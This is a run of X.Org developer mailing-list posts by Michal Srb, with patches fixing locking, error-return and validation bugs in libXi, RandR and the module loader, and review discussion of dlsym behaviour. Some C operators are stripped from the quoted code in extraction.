Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] randr: Better verify providers in SetProvider* requests.

[Michal Srb]

Return BadValue when the provider is main gpu (instead of aborting on assert
later) and when the sink and source are the same gpu (instead of breaking
and possibly crashing later).

diff --git a/randr/rrprovider.c b/randr/rrprovider.c
index 4507ba8..31af871 100644
--- a/randr/rrprovider.c
+++ b/randr/rrprovider.c
@@ -292,11 +292,17 @@ ProcRRSetProviderOutputSource(ClientPtr client)
 if (!(provider-capabilities  RR_Capability_SinkOutput))
 return BadValue;
 
+if (!provider-pScreen-isGPU)
+return BadValue;
+
 if (stuff-source_provider) {
 VERIFY_RR_PROVIDER(stuff-source_provider, source_provider, 
DixReadAccess);
 
 if (!(source_provider-capabilities  RR_Capability_SourceOutput))
 return BadValue;
+
+if (source_provider == provider)
+return BadValue;
 }
 
 pScreen = provider-pScreen;
@@ -326,10 +332,16 @@ ProcRRSetProviderOffloadSink(ClientPtr client)
 if (!(provider-capabilities  RR_Capability_SourceOffload))
 return BadValue;
 
+if (!provider-pScreen-isGPU)
+return BadValue;
+
 if (stuff-sink_provider) {
 VERIFY_RR_PROVIDER(stuff-sink_provider, sink_provider, DixReadAccess);
 if (!(sink_provider-capabilities  RR_Capability_SinkOffload))
 return BadValue;
+
+if (sink_provider == provider)
+return BadValue;
 }
 pScreen = provider-pScreen;
 pScrPriv = rrGetScrPriv(pScreen);

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 4/7] XIGetClientPointer: Return False on error.

[Michal Srb]

Not NoSuchExtension which is 1 = True!

Signed-off-by: Michal Srb m...@suse.com
---
 src/XGetCPtr.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/XGetCPtr.c b/src/XGetCPtr.c
index a6a44b7..59a27d3 100644
--- a/src/XGetCPtr.c
+++ b/src/XGetCPtr.c
@@ -49,7 +49,7 @@ XIGetClientPointer(Display* dpy, Window win, int *deviceid)
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, Dont_Check, info) == -1)
-   return (NoSuchExtension);
+return False;
 
 GetReq(XIGetClientPointer, req);
 req-reqType = info-codes-major_opcode;
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 3/7] Do not return NoSuchExtension casted to pointer as an error.

[Michal Srb]

Several functions were returning NoSuchExtension casted to a pointer in case of
an error. Often in parallel with returning NULL in case of another error. It is
undocumented and certainly wrong.

Signed-off-by: Michal Srb m...@suse.com
---
 src/XGMotion.c | 2 +-
 src/XGetDCtl.c | 2 +-
 src/XGetFCtl.c | 2 +-
 src/XGetKMap.c | 2 +-
 src/XGetMMap.c | 2 +-
 src/XGetProp.c | 2 +-
 src/XOpenDev.c | 2 +-
 src/XQueryDv.c | 2 +-
 8 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/src/XGMotion.c b/src/XGMotion.c
index a4c75b6..7785843 100644
--- a/src/XGMotion.c
+++ b/src/XGMotion.c
@@ -81,7 +81,7 @@ XGetDeviceMotionEvents(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XDeviceTimeCoord *) NoSuchExtension);
+return NULL;
 
 GetReq(GetDeviceMotionEvents, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XGetDCtl.c b/src/XGetDCtl.c
index b576aa5..c5d3b53 100644
--- a/src/XGetDCtl.c
+++ b/src/XGetDCtl.c
@@ -79,7 +79,7 @@ XGetDeviceControl(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Add_XChangeDeviceControl, info) == -1)
-   return ((XDeviceControl *) NoSuchExtension);
+return NULL;
 
 GetReq(GetDeviceControl, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XGetFCtl.c b/src/XGetFCtl.c
index 2d71fab..7fd6d0e 100644
--- a/src/XGetFCtl.c
+++ b/src/XGetFCtl.c
@@ -79,7 +79,7 @@ XGetFeedbackControl(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XFeedbackState *) NoSuchExtension);
+return NULL;
 
 GetReq(GetFeedbackControl, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XGetKMap.c b/src/XGetKMap.c
index 00dde06..0540ce4 100644
--- a/src/XGetKMap.c
+++ b/src/XGetKMap.c
@@ -78,7 +78,7 @@ XGetDeviceKeyMapping(register Display * dpy, XDevice * dev,
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((KeySym *) NoSuchExtension);
+return NULL;
 
 GetReq(GetDeviceKeyMapping, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XGetMMap.c b/src/XGetMMap.c
index ce10c2d..246698c 100644
--- a/src/XGetMMap.c
+++ b/src/XGetMMap.c
@@ -73,7 +73,7 @@ XGetDeviceModifierMapping(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XModifierKeymap *) NoSuchExtension);
+return NULL;
 
 GetReq(GetDeviceModifierMapping, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XGetProp.c b/src/XGetProp.c
index 8c69ef2..a3fa558 100644
--- a/src/XGetProp.c
+++ b/src/XGetProp.c
@@ -75,7 +75,7 @@ XGetDeviceDontPropagateList(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XEventClass *) NoSuchExtension);
+return NULL;
 
 GetReq(GetDeviceDontPropagateList, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XOpenDev.c b/src/XOpenDev.c
index e784f8b..029dec2 100644
--- a/src/XOpenDev.c
+++ b/src/XOpenDev.c
@@ -73,7 +73,7 @@ XOpenDevice(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XDevice *) NoSuchExtension);
+return NULL;
 
 GetReq(OpenDevice, req);
 req-reqType = info-codes-major_opcode;
diff --git a/src/XQueryDv.c b/src/XQueryDv.c
index 3836777..de1c0e5 100644
--- a/src/XQueryDv.c
+++ b/src/XQueryDv.c
@@ -78,7 +78,7 @@ XQueryDeviceState(
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   return ((XDeviceState *) NoSuchExtension);
+return NULL;
 
 GetReq(QueryDeviceState, req);
 req-reqType = info-codes-major_opcode;
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 6/7] Fix logic in _XIAllowEvents and prevent double unlock.

[Michal Srb]

Replacing the second _XiCheckExtInit with _XiCheckVersion prevents possible
double unlock as _XiCheckExtInit actually unlocks the display when it returns
-1.

Signed-off-by: Michal Srb m...@suse.com
---
 src/XIAllowEvents.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/XIAllowEvents.c b/src/XIAllowEvents.c
index 2468fce..52c17ab 100644
--- a/src/XIAllowEvents.c
+++ b/src/XIAllowEvents.c
@@ -40,7 +40,7 @@ static Status
 _XIAllowEvents(Display *dpy, int deviceid, int event_mode, Time time,
 unsigned int touchid, Window grab_window)
 {
-Bool have_XI22 = True;
+Bool have_XI22 = False;
 xXIAllowEventsReq *req;
 xXI2_2AllowEventsReq *req_XI22;
 
@@ -50,7 +50,7 @@ _XIAllowEvents(Display *dpy, int deviceid, int event_mode, 
Time time,
 if (_XiCheckExtInit(dpy, XInput_2_0, extinfo) == -1)
return (NoSuchExtension);
 
-if (_XiCheckExtInit(dpy, XInput_2_2, extinfo) == 0)
+if (_XiCheckVersion(extinfo, XInput_2_2) == 0)
 have_XI22 = True;
 
 if (have_XI22)
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 5/7] XIGrabDevice: Unlock display in error path.

[Michal Srb]

Signed-off-by: Michal Srb m...@suse.com
---
 src/XIGrabDevice.c | 9 -
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/src/XIGrabDevice.c b/src/XIGrabDevice.c
index a8c5697..4ba91eb 100644
--- a/src/XIGrabDevice.c
+++ b/src/XIGrabDevice.c
@@ -53,14 +53,21 @@ XIGrabDevice(Display* dpy, int deviceid, Window 
grab_window, Time time,
 
 if (mask-mask_len  INT_MAX - 3 ||
 (mask-mask_len + 3)/4 = 0x)
+{
+UnlockDisplay(dpy);
+SyncHandle();
 return BadValue;
+}
 
 /* mask-mask_len is in bytes, but we need 4-byte units on the wire,
  * and they need to be padded with 0 */
 len = (mask-mask_len + 3)/4;
 buff = calloc(4, len);
-if (!buff)
+if (!buff) {
+UnlockDisplay(dpy);
+SyncHandle();
 return BadAlloc;
+}
 
 GetReq(XIGrabDevice, req);
 req-reqType  = extinfo-codes-major_opcode;
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 1/7] Fix double unlock when _XiCheckExtInit return -1.

[Michal Srb]

_XiCheckExtInit unlocks the display if it fails and returns -1. Most callers
account for it properly, but few didn't.

Signed-off-by: Michal Srb m...@suse.com
---
 src/XIProperties.c   | 3 ++-
 src/XIQueryDevice.c  | 3 ++-
 src/XIQueryVersion.c | 8 ++--
 src/XISelEv.c| 7 +--
 src/XListDProp.c | 2 +-
 5 files changed, 16 insertions(+), 7 deletions(-)

diff --git a/src/XIProperties.c b/src/XIProperties.c
index 32436d1..a16e182 100644
--- a/src/XIProperties.c
+++ b/src/XIProperties.c
@@ -51,7 +51,7 @@ XIListProperties(Display* dpy, int deviceid, int 
*num_props_return)
 LockDisplay(dpy);
 *num_props_return = 0;
 if (_XiCheckExtInit(dpy, XInput_2_0, info) == -1)
-   goto cleanup;
+goto cleanup_unlocked;
 
 GetReq(XIListProperties, req);
 req-reqType = info-codes-major_opcode;
@@ -76,6 +76,7 @@ XIListProperties(Display* dpy, int deviceid, int 
*num_props_return)
 
 cleanup:
 UnlockDisplay(dpy);
+cleanup_unlocked:
 SyncHandle();
 return props;
 }
diff --git a/src/XIQueryDevice.c b/src/XIQueryDevice.c
index 4be1eca..fb8504f 100644
--- a/src/XIQueryDevice.c
+++ b/src/XIQueryDevice.c
@@ -50,7 +50,7 @@ XIQueryDevice(Display *dpy, int deviceid, int 
*ndevices_return)
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_2_0, extinfo) == -1)
-   goto error;
+goto error_unlocked;
 
 GetReq(XIQueryDevice, req);
 req-reqType  = extinfo-codes-major_opcode;
@@ -105,6 +105,7 @@ XIQueryDevice(Display *dpy, int deviceid, int 
*ndevices_return)
 
 error:
 UnlockDisplay(dpy);
+error_unlocked:
 SyncHandle();
 *ndevices_return = -1;
 return NULL;
diff --git a/src/XIQueryVersion.c b/src/XIQueryVersion.c
index 3f2e73e..57bd079 100644
--- a/src/XIQueryVersion.c
+++ b/src/XIQueryVersion.c
@@ -41,10 +41,8 @@ XIQueryVersion(Display *dpy, int *major_inout, int 
*minor_inout)
 
 XExtDisplayInfo *info = XInput_find_display(dpy);
 
-LockDisplay(dpy);
 rc = _xiQueryVersion(dpy, major_inout, minor_inout, info);
 
-UnlockDisplay(dpy);
 SyncHandle();
 return rc;
 }
@@ -55,6 +53,8 @@ _xiQueryVersion(Display * dpy, int *major, int *minor, 
XExtDisplayInfo *info)
 xXIQueryVersionReq *req;
 xXIQueryVersionReply rep;
 
+LockDisplay(dpy);
+
 /* This could mean either a malloc problem, or supported
 version  XInput_2_0 */
 if (_XiCheckExtInit(dpy, XInput_2_0, info) == -1)
@@ -82,9 +82,13 @@ _xiQueryVersion(Display * dpy, int *major, int *minor, 
XExtDisplayInfo *info)
 req-minor_version = *minor;
 
 if (!_XReply(dpy, (xReply*)rep, 0, xTrue)) {
+UnlockDisplay(dpy);
return BadImplementation;
 }
+
 *major = rep.major_version;
 *minor = rep.minor_version;
+
+UnlockDisplay(dpy);
 return Success;
 }
diff --git a/src/XISelEv.c b/src/XISelEv.c
index 55c0a6a..aeee1e3 100644
--- a/src/XISelEv.c
+++ b/src/XISelEv.c
@@ -60,7 +60,7 @@ XISelectEvents(Display* dpy, Window win, XIEventMask* masks, 
int num_masks)
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_2_0, info) == -1) {
 r = NoSuchExtension;
-goto out;
+goto out_unlocked;
 }
 
 for (i = 0; i  num_masks; i++) {
@@ -114,6 +114,7 @@ XISelectEvents(Display* dpy, Window win, XIEventMask* 
masks, int num_masks)
 free(buff);
 out:
 UnlockDisplay(dpy);
+out_unlocked:
 SyncHandle();
 return r;
 
@@ -134,7 +135,7 @@ XIGetSelectedEvents(Display* dpy, Window win, int 
*num_masks_return)
 *num_masks_return = -1;
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_2_0, info) == -1)
-goto out;
+goto out_unlocked;
 
 GetReq(XIGetSelectedEvents, req);
 
@@ -209,6 +210,8 @@ out:
 Xfree(mask_in);
 
 UnlockDisplay(dpy);
+
+out_unlocked:
 SyncHandle();
 
 return mask_out;
diff --git a/src/XListDProp.c b/src/XListDProp.c
index bde6cb5..55f3c51 100644
--- a/src/XListDProp.c
+++ b/src/XListDProp.c
@@ -51,7 +51,7 @@ XListDeviceProperties(Display* dpy, XDevice* dev, int 
*nprops_return)
 LockDisplay(dpy);
 *nprops_return = 0;
 if (_XiCheckExtInit(dpy, XInput_Initial_Release, info) == -1)
-   goto cleanup;
+return NULL;
 
 GetReq(ListDeviceProperties, req);
 req-reqType = info-codes-major_opcode;
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 2/7] XIChangeHierarchy: Add missing unlock.

[Michal Srb]

When num_changes = 0 or Xmalloc fails, the display has to be unlocked.

Signed-off-by: Michal Srb m...@suse.com
---
 src/XIHierarchy.c | 14 +-
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/src/XIHierarchy.c b/src/XIHierarchy.c
index 3d2b4f2..441fec0 100644
--- a/src/XIHierarchy.c
+++ b/src/XIHierarchy.c
@@ -49,14 +49,14 @@ XIChangeHierarchy(Display* dpy,
 xXIChangeHierarchyReq *req;
 XExtDisplayInfo *info = XInput_find_display(dpy);
 char *data = NULL, *dptr;
-int dlen = 0, i;
+int dlen = 0, i, ret = Success;
 
 LockDisplay(dpy);
 if (_XiCheckExtInit(dpy, XInput_2_0, info) == -1)
return (NoSuchExtension);
 
 if (num_changes = 0)
-return Success;
+goto out;
 
 GetReq(XIChangeHierarchy, req);
 req-reqType = info-codes-major_opcode;
@@ -91,8 +91,10 @@ XIChangeHierarchy(Display* dpy,
 
 req-length += dlen / 4; /* dlen is 4-byte aligned */
 data = Xmalloc(dlen);
-if (!data)
-return BadAlloc;
+if (!data) {
+ret = BadAlloc;
+goto out;
+}
 
 dptr = data;
 for (i = 0, any = changes; i  num_changes; i++, any++)
@@ -155,8 +157,10 @@ XIChangeHierarchy(Display* dpy,
 }
 
 Data(dpy, data, dlen);
+
+out:
 Xfree(data);
 UnlockDisplay(dpy);
 SyncHandle();
-return Success;
+return ret;
 }
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH libXi 7/7] Refactor XGetExtensionVersion.

[Michal Srb]

_XiGetExtensionVersion was called from XGetExtensionVersion and from
_XiCheckExtInit. When called from _XiCheckExtInit, nothing accounted for the
fact that it can return ((XExtensionVersion *) NoSuchExtension) in case of
error. Also it recursively calls _XiCheckExtInit potentionally causing multiple
unlocks if _XiCheckExtInit fails.
- Remove it and call directly _XiGetExtensionVersionRequest and only call
_XiCheckExtInit only from XGetExtensionVersion.

Signed-off-by: Michal Srb m...@suse.com
---
 src/XExtInt.c  |  2 +-
 src/XGetVers.c | 28 +++-
 src/XIint.h|  1 -
 3 files changed, 12 insertions(+), 19 deletions(-)

diff --git a/src/XExtInt.c b/src/XExtInt.c
index d3c6b7c..672d69a 100644
--- a/src/XExtInt.c
+++ b/src/XExtInt.c
@@ -380,7 +380,7 @@ _XiCheckExtInit(
return (-1);
}
((XInputData *) info-data)-vers =
-   _XiGetExtensionVersion(dpy, XInputExtension, info);
+   _XiGetExtensionVersionRequest(dpy, XInputExtension, 
info-codes-major_opcode);
 }
 
 if (_XiCheckVersion(info, version_index)  0) {
diff --git a/src/XGetVers.c b/src/XGetVers.c
index 0751b98..f7e22e6 100644
--- a/src/XGetVers.c
+++ b/src/XGetVers.c
@@ -68,12 +68,16 @@ XGetExtensionVersion(register Display * dpy, _Xconst char 
*name)
 XExtDisplayInfo *info = XInput_find_display(dpy);
 
 LockDisplay(dpy);
-ext = _XiGetExtensionVersion(dpy, name, info);
-if (ext != (XExtensionVersion *) NoSuchExtension) {
-   UnlockDisplay(dpy);
-   SyncHandle();
-}
-return (ext);
+
+if (_XiCheckExtInit(dpy, Dont_Check, info) == -1)
+return NULL;
+
+ext = _XiGetExtensionVersionRequest(dpy, name, info-codes-major_opcode);
+
+UnlockDisplay(dpy);
+SyncHandle();
+
+return ext;
 }
 
 _X_HIDDEN XExtensionVersion*
@@ -91,7 +95,7 @@ _XiGetExtensionVersionRequest(Display *dpy, _Xconst char 
*name, int xi_opcode)
 _XSend(dpy, name, (long)req-nbytes);
 
 if (!_XReply(dpy, (xReply *)  rep, 0, xTrue)) {
-   return (XExtensionVersion *) NULL;
+   return NULL;
 }
 
 ext = (XExtensionVersion *) Xmalloc(sizeof(XExtensionVersion));
@@ -105,13 +109,3 @@ _XiGetExtensionVersionRequest(Display *dpy, _Xconst char 
*name, int xi_opcode)
 
 return ext;
 }
-
-_X_HIDDEN XExtensionVersion *
-_XiGetExtensionVersion(register Display * dpy, _Xconst char *name,
-   XExtDisplayInfo *info)
-{
-if (_XiCheckExtInit(dpy, Dont_Check, info) == -1)
-   return ((XExtensionVersion *) NoSuchExtension);
-
-return _XiGetExtensionVersionRequest(dpy, name, info-codes-major_opcode);
-}
diff --git a/src/XIint.h b/src/XIint.h
index 99f3652..9479a79 100644
--- a/src/XIint.h
+++ b/src/XIint.h
@@ -29,7 +29,6 @@ extern XExtDisplayInfo *XInput_find_display(Display *);
 extern int _XiCheckExtInit(Display *, int, XExtDisplayInfo *);
 extern int _XiCheckVersion(XExtDisplayInfo *info, int version_index);
 
-extern XExtensionVersion *_XiGetExtensionVersion(Display *, _Xconst char *, 
XExtDisplayInfo *);
 extern XExtensionVersion* _XiGetExtensionVersionRequest(Display *dpy, _Xconst 
char *name, int xi_opcode);
 extern Status _xiQueryVersion(Display *dpy, int*, int*, XExtDisplayInfo *);
 
-- 
1.8.4.5

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH v2] XIGrabDevice: Unlock display in error path.

[Michal Srb]

Signed-off-by: Michal Srb m...@suse.com
---
 src/XIGrabDevice.c | 11 +--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/src/XIGrabDevice.c b/src/XIGrabDevice.c
index a8c5697..22f4ea1 100644
--- a/src/XIGrabDevice.c
+++ b/src/XIGrabDevice.c
@@ -53,14 +53,20 @@ XIGrabDevice(Display* dpy, int deviceid, Window 
grab_window, Time time,
 
 if (mask-mask_len  INT_MAX - 3 ||
 (mask-mask_len + 3)/4 = 0x)
-return BadValue;
+{
+reply.status = BadValue;
+goto out;
+}
 
 /* mask-mask_len is in bytes, but we need 4-byte units on the wire,
  * and they need to be padded with 0 */
 len = (mask-mask_len + 3)/4;
 buff = calloc(4, len);
 if (!buff)
-return BadAlloc;
+{
+reply.status =  BadAlloc;
+goto out;
+}
 
 GetReq(XIGrabDevice, req);
 req-reqType  = extinfo-codes-major_opcode;
@@ -83,6 +89,7 @@ XIGrabDevice(Display* dpy, int deviceid, Window grab_window, 
Time time,
 if (_XReply(dpy, (xReply *)reply, 0, xTrue) == 0)
reply.status = GrabSuccess;
 
+out:
 UnlockDisplay(dpy);
 SyncHandle();
 
-- 
2.1.1

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH 01/14] xfree86: use udev to provide device enumeration for kms devices (v9)

[Michal Srb]

On Thursday 14 of June 2012 15:43:35 Dave Airlie wrote:
 +int
 +xf86platformProbeDev(DriverPtr drvp)
 +{
 +Bool foundScreen = FALSE;
 +GDevPtr *devList;
 +const unsigned numDevs = xf86MatchDevice(drvp-driverName, devList);
 +int i, j;
 +
 +/* find the main device or any device specificed in xorg.conf */
 +for (i = 0; i  numDevs; i++) {
 +for (j = 0; j  xf86_num_platform_devices; j++) {
 +if (devList[i]-busID  *devList[i]-busID) {
 +if (xf86PlatformDeviceCheckBusID(xf86_platform_devices[j], 
 devList[i]-busID))
 +break;
 +}
 +else {
 +if (xf86_platform_devices[j].pdev) {
 +if (xf86IsPrimaryPlatform(xf86_platform_devices[j]))
 +break;
 +}
 +}
 +}
 +
 +if (j == xf86_num_platform_devices)
 + continue;
 +
 +foundScreen = probeSingleDevice(xf86_platform_devices[j], drvp, 
 devList[i], 0);
 +if (!foundScreen)
 +continue;

Not sure if it is still relevant, but what purpose has this continue?
Preparation for more code to be added bellow or was it supposed to be break?

 +}
 +
 +return foundScreen;
 +}

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH 15/31] xf86: load modesetting driver on Linux hotplug

[Michal Srb]

On Wednesday 20 of June 2012 15:00:30 Dave Airlie wrote:
 From: Dave Airlie airl...@redhat.com
 
 This driver is currently really the only choice for a hotplug
 at the moment, we can refine this in the future to try and
 pick the driver names.
 
 We have to reload this as it can get unloaded it not used
 in the original probe.

This unfortunatelly fails on my machine. If the device is not plugged during 
start of X, the hotplugging doesn't work correctly. The module is loaded but 
prints this to log:
  (II) Failed to load module modesetting (already loaded, 0)
And the modesetting driver is not added to X server.

It is because the Setup function of xf86-video-modesetting module keeps static 
variable (setupDone) which ensures that any repeated loading of the module 
fails. In case the modesetting driver is not needed during start, it is 
removed from X server and subsequently also the module is unloaded. When the 
modesetting module is loaded again because of hotplug, the driver has to be 
added again from Setup. Unfortunatelly the setupDone variable is not reset to 
zero between UnloadModule and LoadModule.

I am no expert on dynamic libraries, but I found this is probably the cause:
Static variables are reset to original values when library gets unloaded and 
loaded again. In our case the library won't get unloaded after dlclose because 
dlsym was called earlier on symbol from that library (modesettingModuleData) 
and that keeps reference counter above zero.

Patch with possible solution follows...

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] Don't rely on reseting static variables after UnloadModule.

[Michal Srb]

If the module was unloaded it can be loaded again and the
setup has to be done again. We can't rely on setupDone being
reinitialized to zero after dlclose and dlopen.

(It's not reinitialized probably because of dlsym being called
on modesettingModuleData which keeps reference counter for the
library above zero and so prevents it to be ever freed.)

Register proper TearDown function and set setupDone variable
to zero when being unloaded.

diff --git a/src/driver.c b/src/driver.c
index 4e2cfa0..fd9e1c2 100644
--- a/src/driver.c
+++ b/src/driver.c
@@ -137,6 +137,7 @@ static const OptionInfoRec Options[] = {
 int modesettingEntityIndex = -1;
 
 static MODULESETUPPROTO(Setup);
+static MODULETEARDOWNPROTO(TearDown);
 
 static XF86ModuleVersionInfo VersRec = {
 modesetting,
@@ -151,7 +152,7 @@ static XF86ModuleVersionInfo VersRec = {
 {0, 0, 0, 0}
 };
 
-_X_EXPORT XF86ModuleData modesettingModuleData = { VersRec, Setup, NULL };
+_X_EXPORT XF86ModuleData modesettingModuleData = { VersRec, Setup, TearDown 
};
 
 static pointer
 Setup(pointer module, pointer opts, int *errmaj, int *errmin)
@@ -168,7 +169,7 @@ Setup(pointer module, pointer opts, int *errmaj, int 
*errmin)
 * The return value must be non-NULL on success even though there
 * is no TearDownProc.
 */
-   return (pointer) 1;
+   return (pointer) setupDone;
 } else {
if (errmaj)
*errmaj = LDR_ONCEONLY;
@@ -176,6 +177,12 @@ Setup(pointer module, pointer opts, int *errmaj, int 
*errmin)
 }
 }
 
+static void
+TearDown(pointer p)
+{
+*(Bool*)p = 0;
+}
+
 static Bool DriverFunc(ScrnInfoPtr pScrn, xorgDriverFuncOp op, pointer ptr)
 {
   switch(op) {

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH 0/1] Look for ModuleData only in appropriate library

[Michal Srb]

Hi, proposing this for consideration.

The module loader now looks for modulenameModuleData symbol using
dlsym(RTLD_DEFAULT, name) function. That searches using the default library
search order. Appart from being hypothetically slower, it increases the
reference counter for the module library when the symbol is found. Causing that
the library is not unloaded from memory when/if UnloadModule is called.

If the library handle from dlopen is used instead, the library gets unloaded
correctly. (fbdev_drv.so and modesetting_drv.so were really unloaded on my test
machine, making 80KB difference.)

The gains from speed or memory size are negligible, but it seems like correct
thing to do imho.

Michal Srb (1):
  Look for ModuleData only in apropriate library.

 hw/xfree86/loader/loader.c  |8 +++-
 hw/xfree86/loader/loader.h  |1 +
 hw/xfree86/loader/loadmod.c |2 +-
 3 files changed, 9 insertions(+), 2 deletions(-)

-- 
1.7.7

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH 1/1] Look for ModuleData only in appropriate library

[Michal Srb]

Calling dlsym with handle of the module library
instead of RTLD_DEFAULT prevents increasing reference
counter of the library and so allows it to be
really unloaded if UnloadModule is called on it
later.
---
 hw/xfree86/loader/loader.c  |8 +++-
 hw/xfree86/loader/loader.h  |1 +
 hw/xfree86/loader/loadmod.c |2 +-
 3 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/hw/xfree86/loader/loader.c b/hw/xfree86/loader/loader.c
index b72b8b8..4e56e9e 100644
--- a/hw/xfree86/loader/loader.c
+++ b/hw/xfree86/loader/loader.c
@@ -160,6 +160,12 @@ LoaderSymbol(const char *name)
 return NULL;
 }
 
+void *
+LoaderSymbolFromModule(const char *name, void *handle)
+{
+return dlsym(handle, name);
+}
+
 void
 LoaderUnload(const char *name, void *handle)
 {
diff --git a/hw/xfree86/loader/loader.h b/hw/xfree86/loader/loader.h
index 5cadd5a..1d07cdb 100644
--- a/hw/xfree86/loader/loader.h
+++ b/hw/xfree86/loader/loader.h
@@ -72,5 +72,6 @@ extern unsigned long LoaderOptions;
 
 /* Internal Functions */
 void *LoaderOpen(const char *, int *, int *);
+void *LoaderSymbolFromModule(const char *, void *);
 
 #endif  /* _LOADER_H */
diff --git a/hw/xfree86/loader/loadmod.c b/hw/xfree86/loader/loadmod.c
index 706b9b3..b6fc394 100644
--- a/hw/xfree86/loader/loadmod.c
+++ b/hw/xfree86/loader/loadmod.c
@@ -956,7 +956,7 @@ doLoadModule(const char *module, const char *path, const 
char **subdirlist,
 *errmin = 0;
 goto LoadModule_fail;
 }
-initdata = LoaderSymbol(p);
+initdata = LoaderSymbolFromModule(p, ret-handle);
 if (initdata) {
 ModuleSetupProc setup;
 ModuleTearDownProc teardown;
-- 
1.7.7


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH 1/1] Look for ModuleData only in appropriate library

[Michal Srb]

On Wednesday 27 of June 2012 12:52:38 Adam Jackson wrote:
 On Wed, 2012-06-27 at 18:04 +0200, Michal Srb wrote:
  Calling dlsym with handle of the module library
  instead of RTLD_DEFAULT prevents increasing reference
  counter of the library and so allows it to be
  really unloaded if UnloadModule is called on it
  later.
 
 That's not how I would have expected libdl to behave.  I wouldn't have
 thought dlsym success would increase the refcount of the providing
 object, given that there's no way in the API to release that reference;
 if dlsym _does_ bump the refcount I'd have thought the resolution scope
 would not be a factor.
 
 I'd be interested to know when and why this behaviour was added.  A
 quick read of freebsd's dlsym doesn't appear to have that behaviour to
 me, but then neither does a quick read of glibc's dlsym.

My previous claims about the reference counter were based on one 
stackoverflow.com comment and mainly experiments that confirmed that behavior. 
I couldn't find any related documentation and glibc code is not my favorite 
reading.


I debugged in glibc now and found it's not the reference counter but 
DF_1_NODELETE flag being set as result of dlsym(RTLD_DEFAULT, ...).
The DF_1_NODELETE flag is internal flag. It is also set when RTLD_NODELETE flag 
is specified in dlopen.


Backtrace from glibc 2.14.1 looks like this:

#0  add_dependency   -- add DF_1_NODELETE flag
#1  _dl_lookup_symbol_x  -- calls the above because of 
DL_LOOKUP_ADD_DEPENDENCY flag
#2  do_sym   -- calls above with DL_LOOKUP_ADD_DEPENDENCY flag 
because of handle == RTLD_DEFAULT
#3  dlsym_doit
#4  _dl_catch_error
#5  _dlerror_run
#6  __dlsym
#7  doLoadModule -- dlsym(RTLD_DEFAULT, ...)
#8  xf86LoadModules
#9  InitOutput
#10 main



